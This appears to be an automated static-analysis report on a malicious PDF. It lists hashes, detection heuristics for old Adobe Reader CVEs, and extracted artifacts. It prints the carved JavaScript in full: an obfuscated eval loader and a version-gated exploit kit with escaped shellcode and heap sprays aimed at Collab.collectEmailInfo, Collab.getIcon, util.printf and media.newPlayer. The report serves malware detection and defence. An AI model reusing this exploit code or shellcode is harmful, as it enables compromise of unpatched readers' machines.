Malicious PDF — malware analysis report

Static analysis result for SHA-256 53d5701654969ee8…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-08
MD5: 2c4759fe122b025508f8acfbbd7efe4e SHA-1: e22d47229b01428f5c88e1606f4d84b88a9f2a75 SHA-256: 53d5701654969ee8ab05c1fd525256c13bff43d4daea06e86cd387e7c2bde52f
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to download and execute a second-stage payload. The 'test' in the document body is not indicative of malicious intent, but the presence and classification of the JavaScript are strong indicators of malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF52 506 bytes
SHA-256: 3e359ff79ada24c8ed169f7538f6e51395212de0dd66d48150d165a3feef18f7
Preview script
First 1,000 lines of the extracted script
idu='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('oyr=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=oyr[v+a[6]](10,4);
s+='tr';
sbu=e('S'+'tring.fro'+oyr[s](1,9));
q=oyr[s](14);
kmv = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=kmv.length');
for (i = 0; i < k; i+=2) {
	kgwj = kmv[i+1] + ('erybjkerl',kmv[i]);
	idu += sbu(kgwj);
}
e(idu);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: af86e0bafe399aade6c4729b35110e06a106a489aea1a7c8c3ad225f1004f6cb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9734%ue2aa%uc3fa%ue5e8%uffff%u7eff%u969b%u9797%u16c9%ucb7b%u9796%u1e97%u1a70%u87d8%uf81a%ua6c3%uc04c%uc4c6%uc4c4%uc4c4%uc4c4%uc4c2%uffc4%u9693%u9797%uc1c2%uffc4%uf9f8%u9797%ue2ff%ufbe5%uc3fa%u19ff%u99d9%u7f7b%u97df%u9797%u7fc7%u97eb%u9797%u4768%u5314%uff9f%u78d8%u92d8%u7fc7%u97fb%u9797%u4768%u5712%u80e2%uc3fd%u64ce%uff3d%u69e5%u8124%u8a7f%u9797%uc797%uc67f%u9797%u6897%uc447%u69fd%u1eff%u96f8%u7f2a%u979f%u9797%u7fc7%u97ab%u9797%u4768%ua6f7%uf357%uc71c%u1ca7%u9bc5%uc51c%u1c83%ubfe5%u8f2e%u9797%ua697%ua668%u3b57%uf6ab%u95eb%ub7bb%u5856%u969a%u7550%u1667%ucc68%udd2b%u1cfd%u87d5%u851c%u4ee2%ud31e%u8bb3%u54f6%u1cf7%ub3fb%u1cb3%uabd2%uc31c%uef92%u7d96%udd1c%u1c8f%ub7cd%u7c96%ua374%u1cde%u1ca3%u7996%u68a6%u57a6%u3b6b%u5713%u90e3%u5856%u969a%u7c50%uac63%ub3eb%ue2bf%u1c76%ub3cd%u7c96%u1cf1%udc9b%ucd1c%u968b%u1c7c%u1c93%u7f96%ud31e%u8bb3%u55f6%u979f%u787f%u6869%uff68%ue3e3%uade7%ub8b8%ufef4%ueee3%uf9fc%uf1fe%ub9f2%uf9fe%uf8f1%uf3b8%ue7b9%ue7ff%uf1a8%ua2aa%ub1a5%uaaf2%u97a2';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.